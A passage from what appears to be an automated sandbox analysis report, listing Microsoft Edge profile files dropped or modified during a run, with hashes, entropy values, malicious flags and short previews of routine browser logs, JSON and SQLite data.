SHA-256:	7F87BECDDAD4F9E55B623E4F78C22611F4D4F6D4DCB7BB0ED08EBF806BF7EBA9
SHA-512:	FA9038F0DFC32C3AAE6C8D785E050DE46AA040A60903FB83993A99AFEDD609DE0585B42E544C4A53E7D257E6EBCF3944DF797E94AF06582C0435FFFE1D6E1D1A
Malicious:	false
Preview:	2024/11/11-13:52:12.675 1c20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/11-13:52:12.676 1c20 Recovering log #3.2024/11/11-13:52:12.676 1c20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.134006858540201
Encrypted:	false
SSDEEP:	6:HUMfUbTSQH34q2P923oH+Tcwt8aPrqIFUt8YUMfUbTSvNJZmw+YUMfUbTSvNDkw4:Wb9X4v4YebL3FUt8BboJ/+BboD5LYebc
MD5:	A5CBA5932289587186C69884BE8426F1
SHA1:	ACB2CE8B6C6E5F3E427A77827DDF74A331524DA5
SHA-256:	7F87BECDDAD4F9E55B623E4F78C22611F4D4F6D4DCB7BB0ED08EBF806BF7EBA9
SHA-512:	FA9038F0DFC32C3AAE6C8D785E050DE46AA040A60903FB83993A99AFEDD609DE0585B42E544C4A53E7D257E6EBCF3944DF797E94AF06582C0435FFFE1D6E1D1A
Malicious:	false
Preview:	2024/11/11-13:52:12.675 1c20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/11-13:52:12.676 1c20 Recovering log #3.2024/11/11-13:52:12.676 1c20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14378262422127
Encrypted:	false
SSDEEP:	6:HUMfUbT2/v34q2P923oH+Tcwt865IFUt8YUMfUbTTJZmw+YUMfUbTTDkwO923oHY:WbS4v4Yeb/WFUt8Bb/J/+Bb/D5LYeb/L
MD5:	CE2A348D2DC97782E9ABE314B2629BF0
SHA1:	F4D6BF9083D76FF5CA33BA6629F267CBB4719220
SHA-256:	2D90BC85A23A41387E285FA3F9D049F671D1C24358BA97E584F74C28D6F83474
SHA-512:	3BF99E00A7B630F2FE17DA081A146FC77DB68FB1E2356140EBBC6E44EEFAB601FFC1EED743D99106530A2B8DC0A3E67DF5157C1F5527E00F34D122A69D6712AA
Malicious:	false
Preview:	2024/11/11-13:52:12.685 1c20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/11-13:52:12.686 1c20 Recovering log #3.2024/11/11-13:52:12.686 1c20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14378262422127
Encrypted:	false
SSDEEP:	6:HUMfUbT2/v34q2P923oH+Tcwt865IFUt8YUMfUbTTJZmw+YUMfUbTTDkwO923oHY:WbS4v4Yeb/WFUt8Bb/J/+Bb/D5LYeb/L
MD5:	CE2A348D2DC97782E9ABE314B2629BF0
SHA1:	F4D6BF9083D76FF5CA33BA6629F267CBB4719220
SHA-256:	2D90BC85A23A41387E285FA3F9D049F671D1C24358BA97E584F74C28D6F83474
SHA-512:	3BF99E00A7B630F2FE17DA081A146FC77DB68FB1E2356140EBBC6E44EEFAB601FFC1EED743D99106530A2B8DC0A3E67DF5157C1F5527E00F34D122A69D6712AA
Malicious:	false
Preview:	2024/11/11-13:52:12.685 1c20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/11-13:52:12.686 1c20 Recovering log #3.2024/11/11-13:52:12.686 1c20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.149075254774528
Encrypted:	false
SSDEEP:	6:HUMfUC1+q2P923oH+Tcwt8NIFUt8YUMfUCdFWXJZmw+YUMfUC/VkwO923oH+TcwY:WCAv4YebpFUt8BCdFYJ/+BCt5LYebqJ
MD5:	13299405A16D53C190CF6CE76E417B00
SHA1:	2501E7FD8BD80619CD24EED78CFF0AC78FFB371F
SHA-256:	1C61C6427C8F456492FFE116CBE87CF4DD58BB7E9E18562D15716386A134B12B
SHA-512:	0D5AC0DE5038E593F91F5863D1317036D2FAE42E1BE2A9FD1EDB5AA44A172672FE594928133B457400216480C40D6C4E0AD36F9E70C3EB201578127BB11B394A
Malicious:	false
Preview:	2024/11/11-13:52:13.427 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/11-13:52:13.428 818 Recovering log #3.2024/11/11-13:52:13.429 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.149075254774528
Encrypted:	false
SSDEEP:	6:HUMfUC1+q2P923oH+Tcwt8NIFUt8YUMfUCdFWXJZmw+YUMfUC/VkwO923oH+TcwY:WCAv4YebpFUt8BCdFYJ/+BCt5LYebqJ
MD5:	13299405A16D53C190CF6CE76E417B00
SHA1:	2501E7FD8BD80619CD24EED78CFF0AC78FFB371F
SHA-256:	1C61C6427C8F456492FFE116CBE87CF4DD58BB7E9E18562D15716386A134B12B
SHA-512:	0D5AC0DE5038E593F91F5863D1317036D2FAE42E1BE2A9FD1EDB5AA44A172672FE594928133B457400216480C40D6C4E0AD36F9E70C3EB201578127BB11B394A
Malicious:	false
Preview:	2024/11/11-13:52:13.427 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/11-13:52:13.428 818 Recovering log #3.2024/11/11-13:52:13.429 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:er5lntFlljq7A/mhWJFuQ3yy7IOWUaol/dweytllrE9SFcTp4AGbNCV9RUI9:B75fOTl/d0Xi99pEYD
MD5:	55C6D11DF5329FF406C90037000BBD45
SHA1:	376239A07A53643563F357778C6FDA9C5F99655C
SHA-256:	D5AC987B5F50CB865DA106924008B1A2A9A30041BA40682AF1201F3ADE85B0D7
SHA-512:	463055BD85752AC0AD149E01AC4A17BB87171D19D1DECB2099455DF449B6EA20B73F290231CC4150CDF6E189DABF26C1A0F41D83A7A3D76ED0D0CD8DE7BE85C6
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.27145590734086
Encrypted:	false
SSDEEP:	12:WH4v4Yeb8rcHEZrELFUt8BHYZ/+BHYz5LYeb8rcHEZrEZSJ:Wq4Yeb8nZrExg8B3uLYeb8nZrEZe
MD5:	DC07C7CA3F7F4426A384F21EB1DFDFB5
SHA1:	78DC601EBC8E28FDA80D4ADA22CFE7BF95820E74
SHA-256:	8100851BA1B1C0A401DEEFC1D373CAE869E6CE46DCDF17F03A1325A76D9E14F3
SHA-512:	4C088B330F0ED2C92C252A3321C1B4DAFAA39B2AF85F64467DBAE95570530F109829426AA59E4804DDE6CB3903666B22779D5C410BF7D523544879D3CCA3D42B
Malicious:	false
Preview:	2024/11/11-13:52:16.890 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/11-13:52:16.891 818 Recovering log #3.2024/11/11-13:52:16.891 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.27145590734086
Encrypted:	false
SSDEEP:	12:WH4v4Yeb8rcHEZrELFUt8BHYZ/+BHYz5LYeb8rcHEZrEZSJ:Wq4Yeb8nZrExg8B3uLYeb8nZrEZe
MD5:	DC07C7CA3F7F4426A384F21EB1DFDFB5
SHA1:	78DC601EBC8E28FDA80D4ADA22CFE7BF95820E74
SHA-256:	8100851BA1B1C0A401DEEFC1D373CAE869E6CE46DCDF17F03A1325A76D9E14F3
SHA-512:	4C088B330F0ED2C92C252A3321C1B4DAFAA39B2AF85F64467DBAE95570530F109829426AA59E4804DDE6CB3903666B22779D5C410BF7D523544879D3CCA3D42B
Malicious:	false
Preview:	2024/11/11-13:52:16.890 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/11-13:52:16.891 818 Recovering log #3.2024/11/11-13:52:16.891 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.657089643625178
Encrypted:	false
SSDEEP:	48:OZ2SuaQwsJXZE9V03Sx4/Syy6YSJh1/VQHHQX2bFyj:O8S/lsdqN+Y2EjbEj
MD5:	62A1F47274B6A7A583101B3DFA152909
SHA1:	C7587CBD444CD32CBD4DF81F354B4DCEF0C03EFC
SHA-256:	E430599B056B79B7E0D4B77D0C0ABCB20F22EAC77360CC3CBD0561A2D34C767B
SHA-512:	191974D752CCEB4BF423BA51CACA38AB4C1FF8CE8A456578D8975E3D19B7DE4540C94688463D22E7768FFC90541635F9155B788AA28194AD4027068C7EE26F54
Malicious:	false
Preview:	.C.:y................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":337}.!_https://ntp.msn.com..LastKnownPV..1731351141257.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731351142569.._https://ntp.msn.com..MUID!.11F7061775776D430B031323746E6C70.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731351141328,"schedule":[-1,-1,-1,24,4,36,-1],"scheduleFixed":[-1,-1,-1,24,4,36,-1],"simpleSchedule":[13,20,12,24,45,27,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731351141226.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241109.37"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.112590900910565
Encrypted:	false
SSDEEP:	6:HUMfUjYjNAVq2P923oH+Tcwt8a2jMGIFUt8YUMfUQYAgZmw+YUMfUHsvAIkwO92o:WcjOv4Yeb8EFUt8BQq/+BM75LYeb8bJ
MD5:	60520562C9413649A2C8753FC8B8E9D0
SHA1:	94E942E22B71D74DA498CE6574A2EA697AB89035
SHA-256:	697AB71C55FFDE698B5294832CA13395B1AB311C3425BB0CB500D29D61EE1C54
SHA-512:	B0C467C24923FC20DEF97CAE592BE8EE5CB89DB2979C582FD0F3272C5454E004265D70E92BD6819CB2380EA13F8D0E4B662F0CFCDF0ACEAEDF391F20E3DCC30D
Malicious:	false
Preview:	2024/11/11-13:52:13.834 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/11-13:52:13.835 1dd0 Recovering log #3.2024/11/11-13:52:13.838 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.112590900910565
Encrypted:	false
SSDEEP:	6:HUMfUjYjNAVq2P923oH+Tcwt8a2jMGIFUt8YUMfUQYAgZmw+YUMfUHsvAIkwO92o:WcjOv4Yeb8EFUt8BQq/+BM75LYeb8bJ
MD5:	60520562C9413649A2C8753FC8B8E9D0
SHA1:	94E942E22B71D74DA498CE6574A2EA697AB89035
SHA-256:	697AB71C55FFDE698B5294832CA13395B1AB311C3425BB0CB500D29D61EE1C54
SHA-512:	B0C467C24923FC20DEF97CAE592BE8EE5CB89DB2979C582FD0F3272C5454E004265D70E92BD6819CB2380EA13F8D0E4B662F0CFCDF0ACEAEDF391F20E3DCC30D
Malicious:	false
Preview:	2024/11/11-13:52:13.834 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/11-13:52:13.835 1dd0 Recovering log #3.2024/11/11-13:52:13.838 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\016f81ff-9b81-4432-91e6-1e3005cb7b51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\36234e85-94a2-4a47-badc-00be5c8d43cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\472c9c71-ef78-42f5-b525-d36ecd17b450.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4f62b5fa-e5b1-43d9-815e-c0182b19b5b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\71bdb6b5-f492-4fe5-8ddc-426215b0e60b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8bbcd959-1062-41e6-9016-8dca5506cecb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	20480
Entropy (8bit):	2.8187903858347743
Encrypted:	false
SSDEEP:	192:tTrkewSwqSqgQYap2+BeG6S22psfcCR0c4p0L/ZJVb:VnwS/gQYo2+BeY/20lp0LhJVb
MD5:	9D889B6198914735743A83336C9ACBEE
SHA1:	4CC14391D6D837FE69BD47D5B2651FA8E8E79D31
SHA-256:	724BEFEB2D7876892E2A4F8A30DC6662EE8E99ABBC5B0EC75C0687BEB8259099
SHA-512:	F002A32FCEEADAEF62F9AF7D38024B5E94F6B95D9DD4E12733F55331F5C9157334BF8514B13D999AACBB9B6A13D31622408EBB853002B6A85D53D321C3C8912B
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3214949065684887
Encrypted:	false
SSDEEP:	96:uIEumQv8m1ccnvS6uNg0ptaD62RHJHHRcyv:uIEumQv8m1ccnvS6qwD6IHpHuyv
MD5:	066B14F5899BB83A54FCF5DD7AAA787B
SHA1:	F7A9BA8715250577A3A2FC3AC1D0868FE36AA4B0
SHA-256:	137F9EBE93AF493431A43CBDAFD1A1B1559795ED7799140293126070716253A5
SHA-512:	AA49483E88A4F913DF74053679D1FA16D448BD5920FD143E33F130E9FE9B51DA81A3D11F612A02A3311D07531A070188397025E5DD34D7D9CB5E57187F630F97
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF375ae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
